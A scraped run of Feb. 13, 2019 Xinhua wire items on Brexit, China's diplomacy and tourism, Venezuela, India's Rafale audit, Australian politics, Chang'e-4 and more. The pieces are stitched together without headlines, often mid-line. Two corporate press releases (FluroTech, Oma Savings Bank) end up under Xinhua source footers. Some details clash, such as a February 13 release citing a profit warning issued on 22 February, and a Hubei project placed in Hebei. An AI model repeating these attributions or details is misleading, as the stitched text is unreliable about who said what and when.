At the ceremony held at the headquarters of the two agencies in Quezon City, Metro Manila, Chinese Ambassador Zhao Jianhua and Philippine Presidential Communications Operations Office (PCOO) Secretary Martin Andanar witnessed the handover of the units of equipment including screen monitors, teleprompters, camcorders, digital cameras, and smartphones.

Andanar, on the behalf of PCOO and the two institutions, expressed his gratitude to the Chinese Embassy as well as Chinese people.

"The people-to-people discourse through the facilities of media is one of the most vital instruments for the progress," Andanar said.

Ambassador Zhao said, "People-to-people contact between our two people are the fundamental basis for the bright future of our relationship."Britain's Secretary of State for Foreign and Commonwealth Affairs Jeremy Hunt (L) and Home Secretary Sajid Javid arrive for a cabinet meeting at 10 Downing Street in London, Britain, on Jan. 15. 2019. (Xinhua/Tim Ireland)

LONDON, Feb. 13 (Xinhua) -- British Foreign Secretary Jeremy Hunt on Tuesday asked Europe Union (EU) leaders to compromise on Brexit in order to secure "friendly relations" between Britain and its neighboring Republic of Ireland and to protect peace in Northern Ireland.

The foreign secretary made the remarks before traveling to France and Poland for talks with ministers, raising the threat of a no-deal Brexit or "Brexit paralysis" if the EU and Britain were unable to strike a deal.

The EU was steadfastly refusing to budge on the Northern Ireland "backstop," and the Democratic Unionist Party, which props up the current British government, was adamant that it must be axed or changed, or else they will not back the Withdrawal Agreement.

"No one who grew up with bombs every week in Northern Ireland but also in Harrods, Hyde Park and throughout the UK could ever countenance taking a risk with peace, and nor will we," Hunt said.

"But the best way to secure that peace is to do a Brexit deal that secures friendly relations between the UK and its neighbors," Hunt said. "And that means sensible compromise on all sides."

Hunt's remarks echoed statements in recent weeks by several high-profile political figures, including former British Prime Minister Tony Blair, who have warned of a potential return to violence in Northern Ireland if a hard border is installed in the event of a no-deal Brexit.

Also on Tuesday, British Prime Minister Theresa May pleaded with members of parliament to give her more time to secure a revised Brexit deal amid warnings from Brussels that the EU is still waiting for her to come up with a viable plan.

She promised to update members of parliament again on Feb. 26 and, if she had not got a new deal by then, to give them a say on the next steps in non-binding votes.

The EU's chief negotiator, Michel Barnier, on Monday insisted there was no question of Brussels giving in to Downing Street's demands on the Irish "backstop."

"We're waiting for clarity and movement from the United Kingdom," Barnier told reporters after talks in Luxembourg with the country's Prime Minister, Xavier Bettel.

Theresa May said in Parliament that she was discussing a number of options with the EU to secure legally-binding changes to the "backstop": replacing it with "alternative arrangements;" putting a time limit on how long it can stay in place; or a unilateral exit clause so the UK can leave at a time of its choosing.

The backstop" arrangement is the "insurance" policy in May's deal to avoid a return to border checks on the island of Ireland.Chinese Ambassador to Britain Liu Xiaoming speaks during a forum themed "40 Years on: China and the World" in London, Britain, on Sept. 13, 2018.(Xinhua/Stephen Chung)

LONDON, Feb. 13 (Xinhua) -- China and UK should keep the long-term interests and larger picture in mind, look at each other's development as opportunities, respect each other's sovereignty, security and right to development, handle our differences properly and enhance strategic mutual trust, Chinese Ambassador to Britain Liu Xiaoming has said.

The Chinese diplomat made the remarks while attending the Chinese New Year Dinner by the Cities of London and Westminster Conservative Association on Monday night.

"If we compare China-UK relations to a building, it could not stand tall without a solid foundation. This foundation is the mutual confidence between our two countries," he said.

Recalling that the world economy is under downward pressure, with surging protectionism and unilateralism making things doubly difficult. Against this situation, Liu said it is all the more important that China and the UK advocate free trade, oppose protectionism and promote open cooperation.

"We hope that the UK would continue to provide a fair, transparent and non-discriminatory business environment for Chinese companies. We hope you will make successful Chinese companies such as Huawei feel welcome here in Britain, and convince them that the UK is a trustworthy place to put their money," said the Chinese ambassador.

Liu said both China and the UK are known for their profound cultural heritage and important contribution to the progress of human civilization.

"I hope that in the new year our two countries will continue to enhance cultural and people-to-people exchanges, and deepen mutual understanding and strengthen friendship."

The ambassador also hoped that people from all walks of life in both China and UK will join hands to cement the foundation for a solid and magnificent edifice of bilateral relations.

British Prime Minster Theresa May sent a congratulatory message to the event, saying that it is an important moment to recognize the contribution of the Chinese community in London and across the whole of the United Kingdom.

"The Chinese community's expanding business expertise, scientific inquiry and cultural heritage and traditions are of immense value to our country - not least here in London, where the vibrancy of Chinatown stands as a strong beacon for the Chinese community and a reminder of all that they have contributed to our society," she said.Source: Xinhua| 2019-02-13 19:27:51|Editor: Li Xia

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BEIJING, Feb. 13 (Xinhua) -- China's tourism industry brought in 5.97 trillion yuan (882 billion U.S. dollars) in 2018, up 10.5 percent year on year, the Ministry of Culture and Tourism said Wednesday.

According to a preliminary estimation, the domestic tourism industry made an overall contribution of 9.94 trillion yuan to the country's GDP in 2018, accounting for 11 percent of the total GDP, said the ministry.

The tourism sector created 79.9 million direct and indirect jobs in 2018, accounting for nearly 10.3 percent of the total employed population, the ministry noted.Source: Xinhua| 2019-02-13 18:52:43|Editor: xuxin

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TASHKENT, Feb. 13 (Xinhua) -- Uzbekistan will start handing out licenses permitting private businesses to mine precious metals starting from March 1 in a bid to raise gold production and fight against illegal mining, according to a government decree published on Wednesday.

The State Committee for Geology and Mineral Resources will issue licenses for the right to use subsoil plots, which will not exceed one hectare, for mining precious metals for a period of three years.

Licenses can be obtained both by individual entrepreneurs and legal entities at the auction and the starting price is expected to be 7.5 million Uzbek soms (900 U.S. dollars).

The cabinet of ministers, based on proposals by the state committee, will approve annually the list of sites permitted for alluvial mining.

Last year, Uzbek President Shavkat Mirziyoyev signed a decree on measures to create conditions for the implementation of prospecting mining of precious metals which paved the way for legalizing illegal gold digging.

Illegal gold mining in the Central Asian country involves some 10,000 people in a season and produces around 1 ton of gold per year, according to government newspaper Khalq Suzi. EnditemCALGARY, Alberta, Feb. 13, 2019 (GLOBE NEWSWIRE) -- FluroTech Ltd. ( TSX-V: TEST ) (OTCQB: FLURF), (FluroTech or the Company) is pleased to announce that it has retained the services of CFN Media (CFN) of Los Angeles, California. CFN is a leading investor relations and communications advisory firm servicing cannabis companies across North American markets. CFN will provide investor relations and communication services to FluroTech for a term of six months for a monthly fee of US$10,000, payable in cash, subject to TSX-V approval.



"FluroTech is disrupting the cannabis testing model with a portable, fast and accurate technology solution, said CFN President Frank Lane. "The company's proprietary CompleTestTM device and consumable testing kits could set a new agility standard in testing cannabis for potency in flower and oils, heavy metals, and pesticides."

CFN has a proven track record of engaging North American investors interested in the cannabis sector, commented Danny Dalla-Longa Chief Executive Officer of FluroTech. CFN Media is a leading agency and financial media network dedicated to the global cannabis industry, helping companies operating in the space attract investors, capital, and publicity.

In addition, the Company is pleased to announce that the Company has recently received approval from The Depository Trust Company ("DTC") of New York to make the Company's shares DTC eligible. The Company believes that this will simplify the process of trading our common stock for investors in the United States.

DTC is a subsidiary of the Depository Trust & Clearing Corporation, a U.S. company that manages the electronic clearing and settlement of publicly traded companies. Securities that are eligible to be electronically cleared and settled through DTC are considered to be "DTC eligible". This electronic method of clearing securities speeds up the receipt of stock and cash, and thus accelerates the settlement process for certain investors.

About FluroTech (TSX-V: TEST) (OTCQB: FLURF)

FluroTech is a technology and marketing company whose core business is focused on the commercialization of new technologies in the cannabis industry. FluroTechs proprietary spectroscopy-based technology allows for the testing and identification of organic and inorganic compounds contained within biological samples. Using the technology that was developed at the University of Calgary, FluroTech has developed a two-part solution comprising an instrument called the CompleTest and consumable testing kits.

To learn more, visit www.FluroTech.com .

Contact Information

Danny Dalla-Longa

Chief Executive Officer

403.680.0644

danny@flurotech.com

FluroTech Ltd.

Alistair Ross Technology Centre

Suite 111, 3553-31 Street NW

Calgary, AB T2L 2K7

info@flurotech.com

This news release does not constitute an offer to sell or a solicitation of an offer to buy any of the securities. The securities described herein have not been and will not be registered under the United States Securities Act of 1933, as amended, or the securities laws of any state and may not be offered or sold within the United States or to or for the benefit or account of U.S. persons, absent such registration or an applicable exemption from such registration requirements.

Cautionary Statement Regarding Forward-Looking Information

This news release contains "forward-looking information" within the meaning of Canadian securities legislation. Forward-looking information generally refers to information about an issuers business, capital, or operations that is prospective in nature, and includes future-oriented financial information about the issuers prospective financial performance or financial position. The forward-looking information in this news release includes disclosure about the benefits of engaging CFN to provide marketing services to the Company and the benefits of being DTC eligible.

The Company made certain material assumptions, including but not limited to prevailing market conditions and general business, economic, competitive, political and social uncertainties to develop the forward-looking information in this news release. There can be no assurance that such statements will prove to be accurate, as actual results and future events could differ materially from those anticipated in such statements. Accordingly, readers should not place undue reliance on forward-looking statements.

Actual results may vary from the forward-looking information in this news release due to certain material risk factors. These risk factors include, but are not limited to, adverse market conditions and regulatory and other risks associated with the cannabis industry in general, users of the CompleTest failing to achieve the anticipated benefits of the product, the failure of the Company to obtain a benefit from the retention of CFN and the failure of investors to realize a benefit from the Company becoming DTC eligible. The Company cautions that the foregoing list of material risk factors and assumptions is not exhaustive.

The Company assumes no obligation to update or revise the forward-looking information in this news release, unless it is required to do so under Canadian securities legislation.

Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy of this release.Source: Xinhua| 2019-02-13 18:12:33|Editor: Yamei

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by Peerzada Arshad Hamid

NEW DELHI, Feb. 13 (Xinhua) -- India's Comptroller and Auditor General (CAG) said in a report to the parliament on Wednesday that the Rafale fighter jet deal signed in 2016 by Narendra Modi government was 2.86 percent cheaper than the Congress party-led United Progressive Alliance's (UPA) deal in 2007.

The much-awaited CAG report on Rafale defence deal was tabled in Upper House of Indian parliament locally called Rajya Sabha.

"The report does not disclose the actual price (as the Defence Ministry maintained that these details could not be revealed) of the 36 Rafale fighter jets contracted by the National Democratic Alliance (NDA) government. However, it includes examination of the pricing," an official said.

"The government saved 17.08 percent money on the contract for procurement of 36 Rafale aircraft from France as compared to the previous UPA dispensation deal for 126 fighter jets," the official said.

The report was tabled even as Congress President Rahul Gandhi and other leaders including former Prime Minister Manmohan Singh and UPA Chairperson Sonia Gandhi staged protest outside the parliament.

The Congress and other opposition parties have dismissed the report as biased because auditor Rajiv Mehrishi was finance secretary when the deal for 36 Rafale fighter jets was inked in 2016. The Congress alleged Mehrishi was "complicit in the irregularities" in the Rafale deal.

Senior BJP leader and finance minister Arun Jaitley took to Twitter to attack Congress and other opposition parties.

"The lies of the Mahajhootbandhan stand exposed by the CAG report. It cannot be that the Supreme Court is wrong, the CAG is wrong and only the dynast is right," Jaitley tweeted.

The CAG report details emerged as a report in local daily The Hindu said on Wednesday that at least three senior Defence Ministry officials among the seven-member Indian negotiating team were of the view that the final price offered by the French government cannot be considered as "better terms" compared to the deal under the UPA.

India signed a deal with France for purchase of 36 Rafale fighter jets in 2016 in a bid to bolster the country's military image.

Congress and other opposition parties alleged the BJP has indulged in a gross corruption while finalizing the deal and demand a joint parliamentary committee (JPC) probe into the matter.Source: Xinhua| 2019-02-13 17:27:20|Editor: Yamei

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BEIJING, Feb. 13 (Xinhua) -- At a dust-free smartphone assembly workshop in southern China's Guangdong Province, Tian Ling carefully removes the radiation shield from the production line and presses the delicate electronic component into the phone.

Tian's employer, Huizhou-based manufacturer DBG, a supplier for major smartphone brands such as Huawei and OPPO, used to hire some 1,000 skilled workers like Tian for the production and assembly of radiation shields. But with the help of two newly-added automatic production lines, each equipped with nine machine arms, the process can now be completed with only 100 workers.

Despite sluggish demand in the global smartphone market, DBG was able to maintain a rapid growth of 26 percent in profits in the first three quarters of 2018, according to the company.

At a time when the smartphone industry suffers from a slump in shipments, Chinese suppliers have resorted to innovation to increase efficiency and competitiveness.

According to Sigmaintell, a research and consulting firm, Chinese smartphone brands grabbed an increasing share of the global market last year against the backdrop of a 4.3-percent decline in global sales volume.

Biel Crystal, one of Apple's glass screen suppliers based in Huizhou, was able to secure stable revenue in 2018 despite the weak smartphone demand. Having reached a new intention of cooperation with Apple, the company has decided to set up a new factory with a floor space of over 500,000 square meters.

"We will equip our new site with industrial robots and automatic production lines," said Ye Jinsong, a senior executive with the company.

Chinese suppliers have been making increasing contributions to the global electronics industry, according to Li Yaqin, general manager of Sigmaintell, adding that 67 percent of the added value of global driver IC output comes from Chinese companies.

Innovation in the smartphone industry in the future will come from both appearance and function, with features such as foldable screens and underscreen fingerprint sensors.

Chinese manufacturers already released engineering prototypes for foldable screen phones in 2018, more brands will follow suite this year, according to Li.Source: Xinhua| 2019-02-13 17:12:18|Editor: Yamei

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CARACAS/BEIJING, Feb. 12 (Xinhua) -- The Venezuelan government led by President Nicolas Maduro has expressed readiness to sit down with the opposition with no preconditions and seek a solution to the political crisis, but it rejected a document issued by the International Contact Group in Montevideo, Uruguay as biased.

"How can there be preconditions between Venezuelans? The government has been saying: you are Venezuelan, I am Venezuelan. Let's sit down together. We have our Constitution. Let us sit down and engage in dialogue. Let us try to find a solution without any kind of strings attached, or any kind of preconditions," Venezuelan Foreign Minister Jorge Arreaza told reporters at the UN Headquarters in New York on Tuesday.

"This kind of arrogance (by insisting on preconditions) would just hinder dialogue. That's why we say we are waiting for the opposition to get through its pursuit of independence from the U.S. government ... and then we can sit down with the opposition and agree and negotiate in line with the Constitution, and find a Venezuelan solution."

Venezuelan opposition leader Juan Guaido has set Feb. 23, a month after he declared himself interim president, as the date to take presidential powers.

On Friday, the Venezuelan government rejected the Montevideo document which was signed by the European Union (EU) and 11 Latin American and European countries. Bolivia and Mexico abstained.

The declaration issued following the group's first meeting in the Uruguayan capital on Thursday backed a new round of presidential elections in Venezuela as the right-wing opposition has been demanding.

Maduro won 2018 Venezuelan presidential election by garnering over 6 million votes, some 4 million more than his closest rival, and was inaugurated for a second term on Jan. 10.

Guaido, head of the Venezuelan National Assembly, declared himself interim president during an anti-government rally on Jan. 23, a move which was immediately recognized by the United States.

Maduro accused Washington of orchestrating an operation to impose, through a coup d'etat, a puppet regime in Venezuela.

Russia has warned the United States against intervention in the international affairs of Venezuela, including the use of force.

Washington will face violations of international law if the United States intervenes, Russian Foreign Minister Sergei Lavrov told U.S. Secretary of State Mike Pompeo in a phone conversation on Tuesday.

Meanwhile, Russia has prepared a United Nations Security Council (UNSC) draft resolution supporting dialogue in Venezuela, contrary to a U.S. proposal that paves the way for an invasion, Lavrov told a press conference in Moscow on Tuesday.

Lavrov says Russia supports the initiative of Mexico and Uruguay on creating conditions for national dialogue with the participation from all political entities in Venezuela, he said.

Since last year, the Trump administration imposed sanctions on Venezuela's government authorities and military. Maduro, in response, announced the severing of diplomatic and political ties with Washington.

Venezuelan Defense Minister Vladimir Padrino Lopez said Monday that no sanctions will unnerve or fracture national dignity.

The minister made the remarks at the start of visits to collect signatures from military and civilian personnel in the National Bolivarian Armed Forces (FANB) against the sanctions and threats from the U.S. government.Source: Xinhua| 2019-02-13 17:12:18|Editor: Yamei

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KERICHO, Kenya, Feb. 13 (Xinhua) -- Five foreigners were killed when a light aircraft crashed in Kericho County in northwest Kenya on Wednesday, the police said.

Regional police commander Edward Mwamburi said the deceased who are foreigners were en route to Lodwar from the world's famous Masai Mara National Reserve when the plane developed mechanic problem.Source: Xinhua| 2019-02-13 16:57:16|Editor: xuxin

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Afghan honor guard carry the coffin of Afghan former president Sibghatullah Mujaddadi during a funeral ceremony in Kabul, capital of Afghanistan, Feb. 13, 2019. The body of former Afghan President Sibghatullah Mujaddadi was laid to rest in his ancestral graveyard here in Kabul on Wednesday amid tight security. Hundreds of people including President Mohammad Ashraf Ghani, his predecessor Hamid Karzai and cabinet ministers, attended the funeral ceremony performed in the Presidential Palace. (Xinhua/Rahmat Alizadah)

KABUL, Feb. 13 (Xinhua) -- The body of former Afghan President Sibghatullah Mujaddadi was laid to rest in his ancestral graveyard here in Kabul on Wednesday amid tight security.

Hundreds of people including President Mohammad Ashraf Ghani, his predecessor Hamid Karzai and cabinet ministers, attended the funeral ceremony performed in the Presidential Palace.

Mujaddadi, who died Monday night at the age of 93, was also the founder and leader of Jebha-e-Nejat-e Melli (National Liberation Front).

Paying tribute to late Mujaddadi's services, President Ghani described his death as a great loss for the nation and declared Wednesday as national mourning day.Source: Xinhua| 2019-02-13 16:57:15|Editor: xuxin

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DUBAI, Feb. 13 (Xinhua) -- United Arab Emirates (UAE) national carrier Etihad Airways will introduce Boeing 787-9 Dreamliner on its daily service from Abu Dhabi to Chengdu, provincial capital of China's Sichuan, a statement said on Wednesday.

The statement said that since July 1, Boeing 787-9 Dreamliner will replace the current Airbus A330-200 to operate the route to Chengdu.

On the same day, the airline's daily service from Abu Dhabi to Shanghai, China's main financial hub, will be upgraded from the 787-9 to the larger 787-10 Dreamliner, the statement added.

The 787-9 service to Chengdu was configured with 299 seats with four tonnes of belly-hold cargo capacity.

The 787-10 service to Shanghai will be configured with 336 seats with two and a half tonnes of belly-hold cargo capacity.

"We are delighted to include Chengdu to our growing list of Dreamliner destinations. The move marks a milestone for Etihad as all our Chinese gateways will now be served by these technologically advanced aircraft," said Robin Kamark, chief commercial officer of Etihad Aviation Group.

"China is an incredibly important market for Etihad and we have significantly grown our presence there since launching services to Beijing in 2008," Kamark added.

Etihad Airways recently celebrated 10 years of direct flights between Abu Dhabi and China. The airline has carried over four and a half million passengers between Abu Dhabi and China.

The airline has witnessed significant yearly growth in passenger numbers on its services to and from China, which was further boosted by the mutual visa exemption between the UAE and China implemented in January 2018.Source: Xinhua| 2019-02-13 16:32:07|Editor: Liangyu

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A snow petrel and its chick are seen near the Zhongshan Station, a Chinese research base in Antarctica, Jan. 14, 2019. Chinese researchers have begun using infrared cameras to monitor Antarctica's snow petrel, a key indicator species of the local marine ecosystem. This is the first time Chinese researchers in Antarctica have used infrared cameras in bird monitoring. (Xinhua/Liu Shiping)

ANTARCTICA, Feb. 13 (Xinhua) -- Chinese researchers have begun using infrared cameras to monitor Antarctica's snow petrel, a key indicator species of the local marine ecosystem.

"It's an advanced method to use infrared cameras in monitoring wild animals, and the camera's use has enabled automatic monitoring on the bird's life in the area of Zhongshan Station," said Zhang Zhengwang, a professor from Beijing Normal University and a member on China's 35th research mission in Antarctica.

"This is the first time Chinese researchers in Antarctica have used infrared cameras in bird monitoring, " he added.

With the help of a total of 11 infrared cameras, Zhang has conducted the first systematic investigation and monitoring of the snow petrels living around the Chinese research base for more than two months.

Zhang said he continuously monitors the reproductive behavior of 109 of the some 470 snow petrel families he observed and put on record, and found that they brooded mostly during the night.

In addition, the Chinese researcher listed natural predators, extreme weathers and human activities as the major factors affecting the reproduction and population of Antarctica's birds, and urged further efforts to protect the local ecosystem.

The snow petrel is one of only three birds that breed exclusively in Antarctica. It builds nests in the crevices of the rocks of cliffs, lays eggs between late November and early December, and has a breeding time of 90 to 100 days.Source: Xinhua| 2019-02-13 15:41:55|Editor: xuxin

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NDOLA, Zambia, Feb. 13 (Xinhua) -- China and Zambia should continue strengthening bilateral cooperation, which has helped Zambia's economic transformation, a Zambian lawmaker said on Tuesday.

The cooperation has brought economic and social benefit to the Zambian people, said Frank Ng'ambi, a lawmaker from Chifubu constituency that covers Chifubu and northern Ndola in Copperbelt Province.

China has been an all-weather friend to Zambia, providing support for projects including the Tanzania-Zambia Railway, he said.

The projects have improved local people's living standard, and have successfully transferred knowledge and skills to the Zambian people, he added.

The two countries enjoy bilateral ties for the last 55 years, the lawmaker said, expressing hope that the relations would be further strengthened.English Finnish

OMA SAVINGS BANK PLC, INVESTOR NEWS 13 FEBRUARY 2019 AT 15.15 P.M. EET

Oma Savings Bank Plc publishes the Financial Statements Bulletin on February 19, 2019 about 15:00 p.m. and invites to a press conference on February 20, 2019 at 10 a.m.

Oma Savings Bank Plc (OmaSp or the Company) will publish its Financial Statements Bulletin for 2018 on Tuesday, February 19, 2019. The financial statements bulletin can be read after the publication on the company's website at www.omasp.fi/investors. The company has issued a positive profit warning on 22 February 2019.

A press conference on the 2018 results of OmaSp will be held for analysts, institutional investors and the media on Wednesday 20 February at 9.45 a.m. EET at OmaSp's new Helsinki office, Kluuvikatu 3, 7th floor, Helsinki. The press conference is in Finnish. Jarmo Partanen, Chairman of the Board of Directors, Pasi Sydanlammi, CEO, Sarianna Liiri, CFO and Minna Sillanpaa, CCO are present at the event. The press conference will end at around 11 a.m. EET and there will be an opportunity for interviews in Finnish, Swedish and English. Warmly welcome!

Event Program:

9.45 Serving

10.00 Welcome, Chairman of the Board Jarmo Partanen

10.05 OmaSp 2018 review, CEO Pasi Sydanlammi

Participants are kindly asked to register in advance by e-mail minna.sillanpaa@omasp.fi by Monday 18.2.2019 at the latest.

You can also follow the news conference as a live webcast at 10.00 a.m. EET at www.omasp.com/investors and later as a record.

OmaSp organizes English-language telephone conferences at specific times. Those interested in a conference call in English are invited to contact the management assistant Essi Halonen (essi.halonen@omasp.fi or by phone +358 44 265 1180) to agree on the time.





Oma Savings Bank Plc





Additional information:

Pasi Sydanlammi, CEO, tel. +358 45 657 5506, pasi.sydanlammi@omasp.fi

Sarianna Liiri, CFO, tel. +358 40 835 6712, sarianna.liiri@omasp.fi



Additional information and interview requests for media:

Minna Sillanpaa, CCO, tel. +358 50 66592, minna.sillanpaa@omasp.fi





DISTRIBUTION

Major media

www.omasp.fi





OmaSp in short

OmaSp is a growing Finnish bank and the largest savings bank in Finland based on total assets. Over 270 professionals provide nationwide services through OmaSps 40 branch offices and digital service channels to approximately 135,000 customers. OmaSp focuses primarily on retail banking operations and provides its clients with a broad range of banking services both through its own balance sheet as well as by acting as an intermediary for its partners products. The intermediated products include credit, investment and loan in-surance products. OmaSp is also engaged in mortgage banking operations.

OmaSp core idea is to provide personal service and to be local and close to its customers, both in digital and traditional channels. OmaSp strives to offer premium level customer experience through personal service and easy accessibility. In addition, the development of the operations and services is customer-oriented. The personnel is committed and OmaSp seeks to support their career development with versatile tasks and continuous development. A substantial part of the personnel also own shares in OmaSp.Source: Xinhua| 2019-02-13 14:41:39|Editor: Yang Yi

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WUHAN, Feb. 13 (Xinhua) -- China's telecommunication and expressway operators have agreed to launch the country's first 5G-based smart highway project in central Hebei Province.

China Mobile's Hubei branch is planning locations for 5G base stations across the highway sections in the province to run tests on smart toll stations, according to the operator.

It is also applying for 5G-based autonomous driving tests on local highways.

The 5G network, or the fifth generation wireless network, promises faster speeds, less lag, or "latency," when connecting to the network and the ability to connect many devices to the Internet without bogging it down.

The 5G-based smart expressway would make it possible to gather real-time traffic information and make predictions based on the big data, according to the network operator.

Thirty-one 5G base stations have been built in Wuhan, capital of Hubei, by the end of 2018. China Mobile plans to spend one billion yuan (147 million U.S. dollars) this year to build another 2,000 stations in the province.Source: Xinhua| 2019-02-13 14:36:37|Editor: WX

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CANBERRA, Feb. 13 (Xinhua) -- The Australian government has suffered an historic defeat, losing a vote on the floor of the House of Representatives for the first time since 1941.

The Opposition Australian Labor Party (ALP) joined forces with the Greens and independent Members of Parliament (MPs) to pass the medical evacuations bill by 75 votes to the governing Liberal-National Party coalition (LNP)'s 74.

The bill, which now goes to the Senate where the LNP holds only 31 out of 76 seats, will force the medical transfers of asylum seekers being held in offshore detention to Australia if two doctors agree it is necessary.

Under the previous system, the Minister for Home Affairs, currently Peter Dutton, had final say over all proposed medical transfers.

Addressing the defeat on Tuesday night, Prime Minister Scott Morrison, who oversaw the implementation of Australia's hardline border policies during his time as immigration minister, accused ALP leader Bill Shorten of prioritizing political games over national security.

"Every arrival is on Bill Shorten and Labor's head. Every arrival," he told reporters in Canberra.

The vote has paved the way for border protection to be a major issue in the general election, which Morrison on Tuesday said would be held in May despite the historic defeat.

Immediately after the vote Morrison and Dutton met with the Australian Border Force (ABF) to implement "contingency measures."

"The priority for me having met with the general of Operation Sovereign Borders is to deal with the difficult circumstance that Bill Shorten created," Dutton told Australian Broadcasting Corporation (ABC) television.

"I think most Australians now see fortunately before the election, unlike the case with (former ALP PM Kevin) Rudd, a Labor Party unravelling a successful border protection policy.

"That's a disaster for our country."

Earlier on Tuesday, the ALP made some compromises on the bill, introducing amendments to give the Home Affairs Minister the power to overrule a medical transfer on specific security concerns and making changes to avoid a possible breach of the Australian Constitution.

"The government tells us that this bill is a constitutional crisis. The fact of the matter is this bill is about providing treatment to sick people," Shorten told Parliament.

"We can have strong borders while still fulfilling our duty of care to the people in our care."

Kerryn Phelps, the independent MP who championed the bill and who previously served as President of the Australian Medical Association (AMA), described the vote as "such an important day for sick people needing medical care they are unable to receive."

"Thank you to all of the many people who contributed to this remarkable community campaign," she wrote on social media.Source: Xinhua| 2019-02-13 13:46:28|Editor: WX

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MONTEVIDEO, Feb. 12 (Xinhua) -- Uruguayan Foreign Minister Rodolfo Nin Novoa on Tuesday reiterated his country's commitment to a "negotiated solution" to the existing crisis in Venezuela as well as its refusal to recognize opposition leader Juan Guaido as the "interim president."

Before the permanent committee of the Parliament, Nin Novoa said that "we advocate understanding, for peace, we want a peaceful solution for Venezuela. We are prepared to help via all peaceful means within our reach, without false recognition."

In addition, he said, "We are not willing to contribute to increased polarization of the positions, with grave risk of a civil or military encounter including foreign intervention."

He said Uruguay would not recognize a president who was not elected by the people and who proclaimed himself president in a questionable interpretation of the Venezuelan Constitution taken out of context, he said.

"Uruguay will continue to promote the search for a negotiated solution, but never through violent means," he added.

Venezuela is currently in a difficult economic and political situation as Guaido declared himself interim president on Jan. 23 and was recognized by the United States and some other countries, 10 days after Nicolas Maduro was inaugurated as president.

Maduro was reelected in 2018. His first term of presidency began in April 2013.Source: Xinhua| 2019-02-13 13:06:22|Editor: WX

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RIO DE JANEIRO, Feb. 12 (Xinhua) -- Mining giant Vale denied having previous knowledge of any collapse risk with its collapsed tailings dam in Brazil on Tuesday.

In a press conference held in Vale's headquarters in Rio, the company denied risk of collapse in the Brumadinho dam showed by some reports in 2017. According to Vale execs, the Brumadinho dam was stable then.

The dam, located in Brumadinho, Minas Gerais state, southeastern Brazil, collapsed on Jan. 25, killing hundreds of people.

In the past few days, Brazilian media outlets ran stories stating that Vale knew that the dam was at risk and did nothing to prevent the rupture, which caused a wave of muddy iron ore mining waste to go down the valley, destroying residential neighborhoods and Vale buildings at the mining complex.

News website G1 ran a story stating that two reports, one from 2017 and another from 2018, affirmed the risk of collapse of the Brumadinho dam was twice higher than the maximum tolerable risk.

In addition, Rio-based daily O Dia stated that Vale used obsolete monitoring equipment in the dam, and that if more modern equipment could have been used to give a warning, more people could be survived.

So far, 165 bodies have been retrieved from the affected area and 155 people remain missing.Source: Xinhua| 2019-02-13 12:51:19|Editor: Xiang Bo

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BEIJING, Feb. 13 (Xinhua) -- The lander and the rover of the Chang'e-4 probe have been switched to a dormant mode for the lunar night after working stably during China's Spring Festival, according to China's Lunar and Deep Space Exploration Center.

The lander was switched to a dormant mode at 7:00 p.m. Monday as scheduled, and the rover, Yutu-2 (Jade Rabbit-2), at 7:30 pm, said the center on its official social media platform accounts. The rover will be woken up on Feb. 28 and the lander on March 1.

The center said in a post that the Chang'e-4 probe worked stably during the Spring Festival. The payloads on board including the infrared imaging spectrometer and the neural atomic detector have been operating smoothly as scheduled.

Meanwhile, the lunar rover Yutu-2 has driven 120 meters on the far side of the moon, breaking the record of 114.8 meters made by its predecessor, Yutu, China's first rover to leave trace on the lunar surface in late 2013.

China's Chang'e-4 probe, launched on Dec. 8, landed on the Von Karman Crater in the South Pole-Aitken Basin on the far side of the moon on Jan. 3.

A lunar day equals 14 days on Earth, and a lunar night is the same length. The radioisotope heat source, a collaboration between Chinese and Russian scientists, will support the probe through the lunar night when the temperature falls to about minus 180 degrees Celsius.

The Chang'e-4 probe woke up from its first lunar night on Jan. 31.Source: Xinhua| 2019-02-13 12:01:13|Editor: Xiang Bo

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CANBERRA, Feb. 13 (Xinhua) -- South Australia (SA) has revealed its plan to build a 900-km extension cord linking its electricity grid to that of New South Wales (NSW), local media reported Wednesday.

Energy transmission specialist ElectraNet released its final proposal for the "Project EnergyConnect" link between the two states, revealing it will cost 1.5 billion Australian dollars (1.06 billion U.S. dollars) and save every SA household 66 Australian dollars (46.8 U.S. dollars) per year on its electricity bills.

The interconnector will give the SA grid more lost-cost energy sources while allowing NSW to import renewable energy as it prepares to phase out its coal-fired power plants.

Building the link was a major component of the energy plan that Premier Steven Marshall took to the 2018 state election, describing it as a "nation building" project that would carry enough electricity to power 240,000 homes.

"SA businesses and households will have cheaper and more reliable power when SA and NSW's electricity networks are linked up," he told News Corp Australia on Wednesday.

"The interconnector will also help drive the future development of our renewable energy sector, opening up NSW's energy market for SA's wind and solar farms. Frankly, this interconnector should have been built a decade ago."

The project will be funded by levy on power bills, which ElectraNet said would be offset by savings when the project was completed in 2022.

It will also have benefits for households in NSW which, according to ElectraNet, will save 30 Australian dollars (21.2 U.S. dollars) on power every year.

"Modelling has been updated for all the changes that we've seen in the broader market and how it's expected to behave going forward," ElectraNet chief executive Steve Masters said.

"It (Project EnergyConnect) will create greater competition in generation and help more come into the market, as a result of the interconnector, to drive prices down."Source: Xinhua| 2019-02-13 11:51:11|Editor: Xiang Bo

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CANBERRA, Feb. 13 (Xinhua) -- Australia's tax collector has announced a crackdown on lawyers who misuse legal privilege to protect their clients.

In a post on its website, the Australian Taxation Office (ATO) said it was preparing to launch "range of (legal) cases in the short to medium term" against offending lawyers who would face a maximum penalty of 10 years imprisonment.

Under Australian law, courts and law enforcement agencies cannot compel legal practitioners to disclose communications with their clients.

However, ATO alleges that lawyers are using the power to shield their clients from convictions for tax evasion, protecting thousands of documents sought by the agency.

"It's just multiple orders of magnitude over what you'd expect for an ordinary privilege claim," Deputy Commissioner Jeremy Hirschhorn told News Corp Australia on Wednesday.

"The thing we have seen hints of, which I hope not to be the case, is the firm helping the client discover its non-tax purpose.

"The firm says, 'Here's some we prepared earlier which you may find useful', which are then presented to the commissioner as the real justification.

He said that the ATO would target a small number of legal practitioners at Australia's leading firms.

The use of privilege has become a major challenge for government agency's to overcome in recent months.

National Australia Bank (NAB) in August 2018 unsuccessfully claimed privilege over documents related to its fee-for-no-service misconduct that it did not want scrutinized by the Royal Commission into Misconduct in the Banking, Superannuation and Financial Service Industry.

